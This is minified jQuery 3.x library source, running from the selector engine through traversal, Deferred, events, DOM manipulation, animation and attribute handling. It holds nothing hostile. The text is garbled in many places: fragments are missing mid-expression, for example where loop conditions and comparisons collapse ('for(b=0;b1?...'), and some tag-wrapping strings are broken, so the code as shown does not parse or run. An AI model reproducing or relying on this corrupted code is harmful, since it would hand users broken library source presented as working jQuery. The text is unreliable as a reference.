e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];i1&&ua(m),i>1&&sa(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(P,"$1"),c,i0,e=a.length>0,f=function(f,g,h,i,k){var l,o,q,r=0,s="0",t=f&&[],u=[],v=j,x=f||e&&d.find.TAG("*",k),y=w+=null==v?1:Math.random()||.1,z=x.length;for(k&&(j=g===n||g||k);s!==z&&null!=(l=x[s]);s++){if(e&&l){o=0,g||l.ownerDocument===n||(m(l),h=!p);while(q=a[o++])if(q(l,g||n,h)){i.push(l);break}k&&(w=y)}c&&((l=!q&&l)&&r--,f&&t.push(l))}if(r+=s,c&&s!==r){o=0;while(q=b[o++])q(t,u,g,h);if(f){if(r>0)while(s--)t[s]||u[s]||(u[s]=E.call(i));u=wa(u)}G.apply(i,u),k&&!f&&u.length>0&&r+b.length>1&&ga.uniqueSort(i)}return k&&(w=y,j=v),t};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=ya(b[c]),f[u]?d.push(f):e.push(f);f=A(a,za(e,d)),f.selector=a}return f},i=ga.select=function(a,b,c,e){var f,i,j,k,l,m="function"==typeof a&&a,n=!e&&g(a=m.selector||a);if(c=c||[],1===n.length){if(i=n[0]=n[0].slice(0),i.length>2&&"ID"===(j=i[0]).type&&9===b.nodeType&&p&&d.relative[i[1].type]){if(b=(d.find.ID(j.matches[0].replace(_,aa),b)||[])[0],!b)return c;m&&(b=b.parentNode),a=a.slice(i.shift().value.length)}f=V.needsContext.test(a)?0:i.length;while(f--){if(j=i[f],d.relative[k=j.type])break;if((l=d.find[k])&&(e=l(j.matches[0].replace(_,aa),$.test(i[0].type)&&qa(b.parentNode)||b))){if(i.splice(f,1),a=e.length&&sa(i),!a)return G.apply(c,e),c;break}}}return(m||h(a,n))(e,b,!p,c,!b||$.test(a)&&qa(b.parentNode)||b),c},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("fieldset"))}),ja(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){if(!c)return a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){if(!c&&"input"===a.nodeName.toLowerCase())return a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(J,function(a,b,c){var d;if(!c)return a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);r.find=x,r.expr=x.selectors,r.expr[":"]=r.expr.pseudos,r.uniqueSort=r.unique=x.uniqueSort,r.text=x.getText,r.isXMLDoc=x.isXML,r.contains=x.contains,r.escapeSelector=x.escape;var y=function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&r(a).is(c))break;d.push(a)}return d},z=function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c},A=r.expr.match.needsContext;function B(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()}var C=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i,D=/^.[^:#\[\.,]*$/;function E(a,b,c){return r.isFunction(b)?r.grep(a,function(a,d){return!!b.call(a,d,a)!==c}):b.nodeType?r.grep(a,function(a){return a===b!==c}):"string"!=typeof b?r.grep(a,function(a){return i.call(b,a)>-1!==c}):D.test(b)?r.filter(b,a,c):(b=r.filter(b,a),r.grep(a,function(a){return i.call(b,a)>-1!==c&&1===a.nodeType}))}r.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?r.find.matchesSelector(d,a)?[d]:[]:r.find.matches(a,r.grep(b,function(a){return 1===a.nodeType}))},r.fn.extend({find:function(a){var b,c,d=this.length,e=this;if("string"!=typeof a)return this.pushStack(r(a).filter(function(){for(b=0;b1?r.uniqueSort(c):c},filter:function(a){return this.pushStack(E(this,a||[],!1))},not:function(a){return this.pushStack(E(this,a||[],!0))},is:function(a){return!!E(this,"string"==typeof a&&A.test(a)?r(a):a||[],!1).length}});var F,G=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/,H=r.fn.init=function(a,b,c){var e,f;if(!a)return this;if(c=c||F,"string"==typeof a){if(e="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:G.exec(a),!e||!e[1]&&b)return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a);if(e[1]){if(b=b instanceof r?b[0]:b,r.merge(this,r.parseHTML(e[1],b&&b.nodeType?b.ownerDocument||b:d,!0)),C.test(e[1])&&r.isPlainObject(b))for(e in b)r.isFunction(this[e])?this[e](b[e]):this.attr(e,b[e]);return this}return f=d.getElementById(e[2]),f&&(this[0]=f,this.length=1),this}return a.nodeType?(this[0]=a,this.length=1,this):r.isFunction(a)?void 0!==c.ready?c.ready(a):a(r):r.makeArray(a,this)};H.prototype=r.fn,F=r(d);var I=/^(?:parents|prev(?:Until|All))/,J={children:!0,contents:!0,next:!0,prev:!0};r.fn.extend({has:function(a){var b=r(a,this),c=b.length;return this.filter(function(){for(var a=0;a-1:1===c.nodeType&&r.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?r.uniqueSort(f):f)},index:function(a){return a?"string"==typeof a?i.call(r(a),this[0]):i.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(r.uniqueSort(r.merge(this.get(),r(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function K(a,b){while((a=a[b])&&1!==a.nodeType);return a}r.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return y(a,"parentNode")},parentsUntil:function(a,b,c){return y(a,"parentNode",c)},next:function(a){return K(a,"nextSibling")},prev:function(a){return K(a,"previousSibling")},nextAll:function(a){return y(a,"nextSibling")},prevAll:function(a){return y(a,"previousSibling")},nextUntil:function(a,b,c){return y(a,"nextSibling",c)},prevUntil:function(a,b,c){return y(a,"previousSibling",c)},siblings:function(a){return z((a.parentNode||{}).firstChild,a)},children:function(a){return z(a.firstChild)},contents:function(a){return B(a,"iframe")?a.contentDocument:(B(a,"template")&&(a=a.content||a),r.merge([],a.childNodes))}},function(a,b){r.fn[a]=function(c,d){var e=r.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=r.filter(d,e)),this.length>1&&(J[a]||r.uniqueSort(e),I.test(a)&&e.reverse()),this.pushStack(e)}});var L=/[^\x20\t\r\n\f]+/g;function M(a){var b={};return r.each(a.match(L)||[],function(a,c){b[c]=!0}),b}r.Callbacks=function(a){a="string"==typeof a?M(a):r.extend({},a);var b,c,d,e,f=[],g=[],h=-1,i=function(){for(e=e||a.once,d=b=!0;g.length;h=-1){c=g.shift();while(++h-1)f.splice(c,1),c<=h&&h--}),this},has:function(a){return a?r.inArray(a,f)>-1:f.length>0},empty:function(){return f&&(f=[]),this},disable:function(){return e=g=[],f=c="",this},disabled:function(){return!f},lock:function(){return e=g=[],c||b||(f=c=""),this},locked:function(){return!!e},fireWith:function(a,c){return e||(c=c||[],c=[a,c.slice?c.slice():c],g.push(c),b||i()),this},fire:function(){return j.fireWith(this,arguments),this},fired:function(){return!!d}};return j};function N(a){return a}function O(a){throw a}function P(a,b,c,d){var e;try{a&&r.isFunction(e=a.promise)?e.call(a).done(b).fail(c):a&&r.isFunction(e=a.then)?e.call(a,b,c):b.apply(void 0,[a].slice(d))}catch(a){c.apply(void 0,[a])}}r.extend({Deferred:function(b){var c=[["notify","progress",r.Callbacks("memory"),r.Callbacks("memory"),2],["resolve","done",r.Callbacks("once memory"),r.Callbacks("once memory"),0,"resolved"],["reject","fail",r.Callbacks("once memory"),r.Callbacks("once memory"),1,"rejected"]],d="pending",e={state:function(){return d},always:function(){return f.done(arguments).fail(arguments),this},"catch":function(a){return e.then(null,a)},pipe:function(){var a=arguments;return r.Deferred(function(b){r.each(c,function(c,d){var e=r.isFunction(a[d[4]])&&a[d[4]];f[d[1]](function(){var a=e&&e.apply(this,arguments);a&&r.isFunction(a.promise)?a.promise().progress(b.notify).done(b.resolve).fail(b.reject):b[d[0]+"With"](this,e?[a]:arguments)})}),a=null}).promise()},then:function(b,d,e){var f=0;function g(b,c,d,e){return function(){var h=this,i=arguments,j=function(){var a,j;if(!(b=f&&(d!==O&&(h=void 0,i=[a]),c.rejectWith(h,i))}};b?k():(r.Deferred.getStackHook&&(k.stackTrace=r.Deferred.getStackHook()),a.setTimeout(k))}}return r.Deferred(function(a){c[0][3].add(g(0,a,r.isFunction(e)?e:N,a.notifyWith)),c[1][3].add(g(0,a,r.isFunction(b)?b:N)),c[2][3].add(g(0,a,r.isFunction(d)?d:O))}).promise()},promise:function(a){return null!=a?r.extend(a,e):e}},f={};return r.each(c,function(a,b){var g=b[2],h=b[5];e[b[1]]=g.add,h&&g.add(function(){d=h},c[3-a][2].disable,c[0][2].lock),g.add(b[3].fire),f[b[0]]=function(){return f[b[0]+"With"](this===f?void 0:this,arguments),this},f[b[0]+"With"]=g.fireWith}),e.promise(f),b&&b.call(f,f),f},when:function(a){var b=arguments.length,c=b,d=Array(c),e=f.call(arguments),g=r.Deferred(),h=function(a){return function(c){d[a]=this,e[a]=arguments.length>1?f.call(arguments):c,--b||g.resolveWith(d,e)}};if(b<=1&&(P(a,g.done(h(c)).resolve,g.reject,!b),"pending"===g.state()||r.isFunction(e[c]&&e[c].then)))return g.then();while(c--)P(e[c],h(c),g.reject);return g.promise()}});var Q=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;r.Deferred.exceptionHook=function(b,c){a.console&&a.console.warn&&b&&Q.test(b.name)&&a.console.warn("jQuery.Deferred exception: "+b.message,b.stack,c)},r.readyException=function(b){a.setTimeout(function(){throw b})};var R=r.Deferred();r.fn.ready=function(a){return R.then(a)["catch"](function(a){r.readyException(a)}),this},r.extend({isReady:!1,readyWait:1,ready:function(a){(a===!0?--r.readyWait:r.isReady)||(r.isReady=!0,a!==!0&&--r.readyWait>0||R.resolveWith(d,[r]))}}),r.ready.then=R.then;function S(){d.removeEventListener("DOMContentLoaded",S), a.removeEventListener("load",S),r.ready()}"complete"===d.readyState||"loading"!==d.readyState&&!d.documentElement.doScroll?a.setTimeout(r.ready):(d.addEventListener("DOMContentLoaded",S),a.addEventListener("load",S));var T=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)T(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,r.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h1,null,!0)},removeData:function(a){return this.each(function(){X.remove(this,a)})}}),r.extend({queue:function(a,b,c){var d;if(a)return b=(b||"fx")+"queue",d=W.get(a,b),c&&(!d||Array.isArray(c)?d=W.access(a,b,r.makeArray(c)):d.push(c)),d||[]},dequeue:function(a,b){b=b||"fx";var c=r.queue(a,b),d=c.length,e=c.shift(),f=r._queueHooks(a,b),g=function(){r.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return W.get(a,c)||W.access(a,c,{empty:r.Callbacks("once memory").add(function(){W.remove(a,[b+"queue",c])})})}}),r.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.length\x20\t\r\n\f]+)/i,la=/^$|\/(?:java|ecma)script/i,ma={option:[1,""],thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};ma.optgroup=ma.option,ma.tbody=ma.tfoot=ma.colgroup=ma.caption=ma.thead,ma.th=ma.td;function na(a,b){var c;return c="undefined"!=typeof a.getElementsByTagName?a.getElementsByTagName(b||"*"):"undefined"!=typeof a.querySelectorAll?a.querySelectorAll(b||"*"):[],void 0===b||b&&B(a,b)?r.merge([a],c):c}function oa(a,b){for(var c=0,d=a.length;c-1)e&&e.push(f);else if(j=r.contains(f.ownerDocument,f),g=na(l.appendChild(f),"script"),j&&oa(g),c){k=0;while(f=g[k++])la.test(f.type||"")&&c.push(f)}return l}!function(){var a=d.createDocumentFragment(),b=a.appendChild(d.createElement("div")),c=d.createElement("input");c.setAttribute("type","radio"),c.setAttribute("checked","checked"),c.setAttribute("name","t"),b.appendChild(c),o.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,b.innerHTML="",o.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var ra=d.documentElement,sa=/^key/,ta=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,ua=/^([^.]*)(?:\.(.+)|)/;function va(){return!0}function wa(){return!1}function xa(){try{return d.activeElement}catch(a){}}function ya(a,b,c,d,e,f){var g,h;if("object"==typeof b){"string"!=typeof c&&(d=d||c,c=void 0);for(h in b)ya(a,h,c,d,b[h],f);return a}if(null==d&&null==e?(e=c,d=c=void 0):null==e&&("string"==typeof c?(e=d,d=void 0):(e=d,d=c,c=void 0)),e===!1)e=wa;else if(!e)return a;return 1===f&&(g=e,e=function(a){return r().off(a),g.apply(this,arguments)},e.guid=g.guid||(g.guid=r.guid++)),a.each(function(){r.event.add(this,b,e,d,c)})}r.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=W.get(a);if(q){c.handler&&(f=c,c=f.handler,e=f.selector),e&&r.find.matchesSelector(ra,e),c.guid||(c.guid=r.guid++),(i=q.events)||(i=q.events={}),(g=q.handle)||(g=q.handle=function(b){return"undefined"!=typeof r&&r.event.triggered!==b.type?r.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(L)||[""],j=b.length;while(j--)h=ua.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n&&(l=r.event.special[n]||{},n=(e?l.delegateType:l.bindType)||n,l=r.event.special[n]||{},k=r.extend({type:n,origType:p,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&r.expr.match.needsContext.test(e),namespace:o.join(".")},f),(m=i[n])||(m=i[n]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,o,g)!==!1||a.addEventListener&&a.addEventListener(n,g)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),r.event.global[n]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=W.hasData(a)&&W.get(a);if(q&&(i=q.events)){b=(b||"").match(L)||[""],j=b.length;while(j--)if(h=ua.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n){l=r.event.special[n]||{},n=(d?l.delegateType:l.bindType)||n,m=i[n]||[],h=h[2]&&new RegExp("(^|\\.)"+o.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&p!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,o,q.handle)!==!1||r.removeEvent(a,n,q.handle),delete i[n])}else for(n in i)r.event.remove(a,n+b[j],c,d,!0);r.isEmptyObject(i)&&W.remove(a,"handle events")}},dispatch:function(a){var b=r.event.fix(a),c,d,e,f,g,h,i=new Array(arguments.length),j=(W.get(this,"events")||{})[b.type]||[],k=r.event.special[b.type]||{};for(i[0]=b,c=1;c=1))for(;j!==this;j=j.parentNode||this)if(1===j.nodeType&&("click"!==a.type||j.disabled!==!0)){for(f=[],g={},c=0;c-1:r.find(e,this,null,[j]).length),g[e]&&f.push(d);f.length&&h.push({elem:j,handlers:f})}return j=this,i\x20\t\r\n\f]*)[^>]*)\/>/gi,Aa=/\s*$/g;function Ea(a,b){return B(a,"table")&&B(11!==b.nodeType?b:b.firstChild,"tr")?r(">tbody",a)[0]||a:a}function Fa(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function Ga(a){var b=Ca.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function Ha(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(W.hasData(a)&&(f=W.access(a),g=W.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;c1&&"string"==typeof q&&!o.checkClone&&Ba.test(q))return a.each(function(e){var f=a.eq(e);s&&(b[0]=q.call(this,e,f.html())),Ja(f,b,c,d)});if(m&&(e=qa(b,a[0].ownerDocument,!1,a,d),f=e.firstChild,1===e.childNodes.length&&(e=f),f||d)){for(h=r.map(na(e,"script"),Fa),i=h.length;l")},clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=r.contains(a.ownerDocument,a);if(!(o.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||r.isXMLDoc(a)))for(g=na(h),f=na(a),d=0,e=f.length;d0&&oa(g,!i&&na(a,"script")),h},cleanData:function(a){for(var b,c,d,e=r.event.special,f=0;void 0!==(c=a[f]);f++)if(U(c)){if(b=c[W.expando]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[W.expando]=void 0}c[X.expando]&&(c[X.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ka(this,a,!0)},remove:function(a){return Ka(this,a)},text:function(a){return T(this,function(a){return void 0===a?r.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ja(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ea(this,a);b.appendChild(a)}})},prepend:function(){return Ja(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ea(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return Ja(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return Ja(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(r.cleanData(na(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null!=a&&a,b=null==b?a:b,this.map(function(){return r.clone(this,a,b)})},html:function(a){return T(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!Aa.test(a)&&!ma[(ka.exec(a)||["",""])[1].toLowerCase()]){a=r.htmlPrefilter(a);try{for(;c1)}});function _a(a,b,c,d,e){return new _a.prototype.init(a,b,c,d,e)}r.Tween=_a,_a.prototype={constructor:_a,init:function(a,b,c,d,e,f){this.elem=a,this.prop=c,this.easing=e||r.easing._default,this.options=b,this.start=this.now=this.cur(),this.end=d,this.unit=f||(r.cssNumber[c]?"":"px")},cur:function(){var a=_a.propHooks[this.prop];return a&&a.get?a.get(this):_a.propHooks._default.get(this)},run:function(a){var b,c=_a.propHooks[this.prop];return this.options.duration?this.pos=b=r.easing[this.easing](a,this.options.duration*a,0,1,this.options.duration):this.pos=b=a,this.now=(this.end-this.start)*b+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),c&&c.set?c.set(this):_a.propHooks._default.set(this),this}},_a.prototype.init.prototype=_a.prototype,_a.propHooks={_default:{get:function(a){var b;return 1!==a.elem.nodeType||null!=a.elem[a.prop]&&null==a.elem.style[a.prop]?a.elem[a.prop]:(b=r.css(a.elem,a.prop,""),b&&"auto"!==b?b:0)},set:function(a){r.fx.step[a.prop]?r.fx.step[a.prop](a):1!==a.elem.nodeType||null==a.elem.style[r.cssProps[a.prop]]&&!r.cssHooks[a.prop]?a.elem[a.prop]=a.now:r.style(a.elem,a.prop,a.now+a.unit)}}},_a.propHooks.scrollTop=_a.propHooks.scrollLeft={set:function(a){a.elem.nodeType&&a.elem.parentNode&&(a.elem[a.prop]=a.now)}},r.easing={linear:function(a){return a},swing:function(a){return.5-Math.cos(a*Math.PI)/2},_default:"swing"},r.fx=_a.prototype.init,r.fx.step={};var ab,bb,cb=/^(?:toggle|show|hide)$/,db=/queueHooks$/;function eb(){bb&&(d.hidden===!1&&a.requestAnimationFrame?a.requestAnimationFrame(eb):a.setTimeout(eb,r.fx.interval),r.fx.tick())}function fb(){return a.setTimeout(function(){ab=void 0}),ab=r.now()}function gb(a,b){var c,d=0,e={height:a};for(b=b?1:0;d<4;d+=2-b)c=ca[d],e["margin"+c]=e["padding"+c]=a;return b&&(e.opacity=e.width=a),e}function hb(a,b,c){for(var d,e=(kb.tweeners[b]||[]).concat(kb.tweeners["*"]),f=0,g=e.length;f1)},removeAttr:function(a){return this.each(function(){r.removeAttr(this,a)})}}),r.extend({attr:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return"undefined"==typeof a.getAttribute?r.prop(a,b,c):(1===f&&r.isXMLDoc(a)||(e=r.attrHooks[b.toLowerCase()]||(r.expr.match.bool.test(b)?lb:void 0)),void 0!==c?null===c?void r.removeAttr(a,b):e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:(a.setAttribute(b,c+""),c):e&&"get"in e&&null!==(d=e.get(a,b))?d:(d=r.find.attr(a,b), null==d?void 0:d))},attrHooks:{type:{set:function(a,b){if(!o.radioValue&&"radio"===b&&B(a,"input")){var c=a.value;return a.setAttribute("type",b),c&&(a.value=c),b}}}},removeAttr:function(a,b){var c,d=0,e=b&&b.match(L);if(e&&1===a.nodeType)while(c=e[d++])a.removeAttribute(c)}}),lb={set:function(a,b,c){return b===!1?r.removeAttr(a,c):a.setAttribute(c,c),c}},r.each(r.expr.match.bool.source.match(/\w+/g),function(a,b){var c=mb[b]||r.find.attr;mb[b]=function(a,b,d){var e,f,g=b.toLowerCase();return d||(f=mb[g],mb[g]=e,e=null!=c(a,b,d)?g:null,mb[g]=f),e}});var nb=/^(?:input|select|textarea|button)$/i,ob=/^(?:a|area)$/i;r.fn.extend({prop:function(a,b){return T(this,r.prop,a,b,arguments.length>1)},removeProp:function(a){return this.each(function(){delete this[r.propFix[a]||a]})}}),r.extend({prop:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return 1===f&&r.isXMLDoc(a)||(b=r.propFix[b]||b,e=r.propHooks[b]),void 0!==c?e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:a[b]=c:e&&"get"in e&&null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){var b=r.find.attr(a,"tabindex");return b?parseInt(b,10):nb.test(a.nodeName)||ob.test(a.nodeName)&&a.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),o.optSelected||(r.propHooks.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){r.propFix[this.toLowerCase()]=this});function pb(a){var b=a.match(L)||[];return b.join(" ")}function qb(a){return a.getAttribute&&a.getAttribute("class")||""}r.fn.extend({addClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).addClass(a.call(this,b,qb(this)))});if("string"==typeof a&&a){b=a.match(L)||[];while(c=this[i++])if(e=qb(c),d=1===c.nodeType&&" "+pb(e)+" "){g=0;while(f=b[g++])d.indexOf(" "+f+" ")<0&&(d+=f+" ");h=pb(d),e!==h&&c.setAttribute("class",h)}}return this},removeClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).removeClass(a.call(this,b,qb(this)))});if(!arguments.length)return this.attr("class","");if("string"==typeof a&&a){b=a.match(L)||[];while(c=this[i++])if(e=qb(c),d=1===c.nodeType&&" "+pb(e)+" "){g=0;while(f=b[g++])while(d.indexOf(" "+f+" ")>-1)d=d.replace(" "+f+" "," ");h=pb(d),e!==h&&c.setAttribute("class",h)}}return this},toggleClass:function(a,b){var c=typeof a;return"boolean"==typeof b&&"string"===c?b?this.addClass(a):this.removeClass(a):r.isFunction(a)?this.each(function(c){r(this).toggleClass(a.call(this,c,qb(this),b),b)}):this.each(function(){var b,d,e,f;if("string"===c){d=0,e=r(this),f=a.match(L)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else void 0!==a&&"boolean"!==c||(b=qb(this),b&&W.set(this,"__className__",b),this.setAttribute&&this.setAttribute("class",b||a===!1?"":W.get(this,"__className__")||""))})},hasClass:function(a){var b,c,d=0;b=" "+a+" ";while(c=this[d++])if(1===c.nodeType&&(" "+pb(qb(c))+" ").indexOf(b)>-1)return!0;return!1}});var rb=/\r/g;r.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=r.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,r(this).val()):a,null==e?e="":"number"==typeof e?e+="":Array.isArray(e)&&(e=r.map(e,function(a){return null==a?"":a+""})),b=r.valHooks[this.type]||r.valHooks[this.nodeName.toLowerCase()],b&&"set"in b&&void 0!==b.set(this,e,"value")||(this.value=e))});if(e)return b=r.valHooks[e.type]||r.valHooks[e.nodeName.toLowerCase()],b&&"get"in b&&void 0!==(c=b.get(e,"value"))?c:(c=e.value,"string"==typeof c?c.replace(rb,""):null==c?"":c)}}}),r.extend({valHooks:{option:{get:function(a){var b=r.find.attr(a,"value");return null!=b?b:pb(r.text(a))}},select:{get:function(a){var b,c,d,e=a.options,f=a.selectedIndex,g="select-one"===a.type,h=g?null:[],i=g?f+1:e.length;for(d=f<0?i:g?f:0;d-1)&&(c=!0);return c||(a.selectedIndex=-1),f}}}}),r.each(["radio","checkbox"],function(){r.valHooks[this]={set:function(a,b){if(Array.isArray(b))return a.checked=r.inArray(r(a).val(),b)>-1}},o.checkOn||(r.valHooks[this].get=function(a){return null===a.getAttribute("value")?"on":a.value})});var sb=/^(?:focusinfocus|focusoutblur)$/;r.extend(r.event,{trigger:function(b,c,e,f){var g,h,i,j,k,m,n,o=[e||d],p=l.call(b,"type")?b.type:b,q=l.call(b,"namespace")?b.namespace.split("."):[];if(h=i=e=e||d,3!==e.nodeType&&8!==e.nodeType&&!sb.test(p+r.event.triggered)&&(p.indexOf(".")>-1&&(q=p.split("."),p=q.shift(),q.sort()),k=p.indexOf(":")<0&&"on"+p,b=b[r.expando]?b:new r.Event(p,"object"==typeof b&&b),b.isTrigger=f?2:3,b.namespace=q.join("."),b.rnamespace=b.namespace?new RegExp("(^|\\.)"+q.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=e),c=null==c?[b]:r.makeArray(c,[b]),n=r.event.special[p]||{},f||!n.trigger||n.trigger.apply(e,c)!==!1)){if(!f&&!n.noBubble&&!r.isWindow(e)){for(j=n.delegateType||p,sb.test(j+p)||(h=h.parentNode);h;h=h.parentNode)o.push(h),i=h;i===(e.ownerDocument||d)&&o.push(i.defaultView||i.parentWindow||a)}g=0;while((h=o[g++])&&!b.isPropagationStopped())b.type=g>1?j:n.bindType||p,m=(W.get(h,"events")||{})[b.type]&&W.get(h,"handle"),m&&m.apply(h,c),m=k&&h[k],m&&m.apply&&U(h)&&(b.result=m.apply(h,c),b.result===!1&&b.preventDefault());return b.type=p,f||b.isDefaultPrevented()||n._default&&n._default.apply(o.pop(),c)!==!1||!U(e)||k&&r.isFunction(e[p])&&!r.isWindow(e)&&(i=e[k],i&&(e[k]=null),r.event.triggered=p,e[p](),r.event.triggered=void 0,i&&(e[k]=i)),b.result}},simulate:function(a,b,c){var d=r.extend(new r.Event,c,{type:a,isSimulated:!0});r.event.trigger(d,null,b)}}),r.fn.extend({trigger:function(a,b){return this.each(function(){r.event.trigger(a,b,this)})},triggerHandler:function(a,b){var c=this[0];if(c)return r.event.trigger(a,b,c,!0)}}),r.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(a,b){r.fn[b]=function(a,c){return arguments.length>0?this.on(b,null,a,c):this.trigger(b)}}),r.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),o.focusin="onfocusin"in a,o.focusin||r.each({focus:"focusin",blur:"focusout"},function(a,b){var c=function(a){r.event.simulate(b,a.target,r.event.fix(a))};r.event.special[b]={setup:function(){var d=this.ownerDocument||this,e=W.access(d,b);e||d.addEventListener(a,c,!0),W.access(d,b,(e||0)+1)},teardown:function(){var d=this.ownerDocument||this,e=W.access(d,b)-1;e?W.access(d,b,e):(d.removeEventListener(a,c,!0),W.remove(d,b))}}});var tb=a.location,ub=r.now(),vb=/\?/;r.parseXML=function(b){var c;if(!b||"string"!=typeof b)return null;try{c=(new a.DOMParser).parseFromString(b,"text/xml")}catch(d){c=void 0}return c&&!c.getElementsByTagName("parsererror").length||r.error("Invalid XML: "+b),c};var wb=/\[\]$/,xb=/\r?\n/g,yb=/^(?:submit|button|image|reset|file)$/i,zb=/^(?:input|select|textarea|keygen)/i;function Ab(a,b,c,d){var 